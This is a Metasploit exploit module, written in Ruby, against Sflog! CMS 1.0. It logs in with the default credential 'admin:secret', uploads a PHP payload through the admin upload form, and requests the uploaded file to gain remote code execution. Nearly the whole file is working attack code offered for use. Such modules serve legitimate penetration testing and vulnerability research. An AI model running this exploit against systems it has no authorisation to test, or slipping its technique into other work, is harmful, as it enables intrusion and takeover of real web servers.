##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sflog! CMS 1.0 Arbitrary File Upload Vulnerability',
        'Description' => %q{
          This module exploits multiple design flaws in Sflog 1.0.  By default, the CMS has
          a default admin credential of "admin:secret", which can be abused to access
          administrative features such as blogs management.  Through the management
          interface, we can upload a backdoor that's accessible by any remote user, and then
          gain arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'dun', # Discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2012-10042'],
          ['OSVDB', '83767'],
          ['EDB', '19626']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-07-06',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
        OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
        OptString.new('PASSWORD', [true, 'The password to login with', 'secret'])
      ]
    )
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    res = send_request_raw({ 'uri' => "#{base}/index.php" })

    if !res
      return Exploit::CheckCode::Unknown('No response received from the target')
    elsif res and res.body =~ %r{<input type="hidden" name="sitesearch" value="www\.thebonnotgang\.com/sflog}
      return Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  #
  # login unfortunately is needed, because we need to make sure blogID is set, and the upload
  # script (uploadContent.inc.php) doesn't actually do that, even though we can access it
  # directly.
  #
  def do_login(base)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{base}/admin/login.php",
      'vars_post' => {
        'userID' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res and res.get_cookies.include?('PHPSESSID') and res.body !~ %r{<i>Access denied!</i>}
      return res.get_cookies
    else
      return ''
    end
  end

  #
  # Upload our payload, and then execute it.
  #
  def upload_exec(cookie, base, php_fname, p)
    data = Rex::MIME::Message.new
    data.add_part('download', nil, nil, 'form-data; name="blogID"')
    data.add_part('7', nil, nil, 'form-data; name="contentType"')
    data.add_part('3000', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")

    post_data = data.to_s

    print_status("Uploading payload (#{p.length} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => "#{base}/admin/manage.php",
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data,
      'cookie' => cookie,
      'headers' => {
        'Referer' => "http://#{rhost}#{base}/admin/manage.php",
        'Origin' => "http://#{rhost}"
      }
    })

    if !res
      print_error('No response from host')
      return
    end

    target_path = "#{base}/blogs/download/uploads/#{php_fname}"
    print_status("Requesting '#{target_path}'...")
    res = send_request_raw({ 'uri' => target_path })
    if res and res.code == 404
      print_error("Upload unsuccessful: #{res.code}")
      return
    end

    handler
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    print_status("Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
    cookie = do_login(base)

    if cookie.empty?
      print_error('Unable to login')
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"

    p = get_write_exec_payload(unlink_self: true)
    upload_exec(cookie, base, php_fname, p)
  end
end
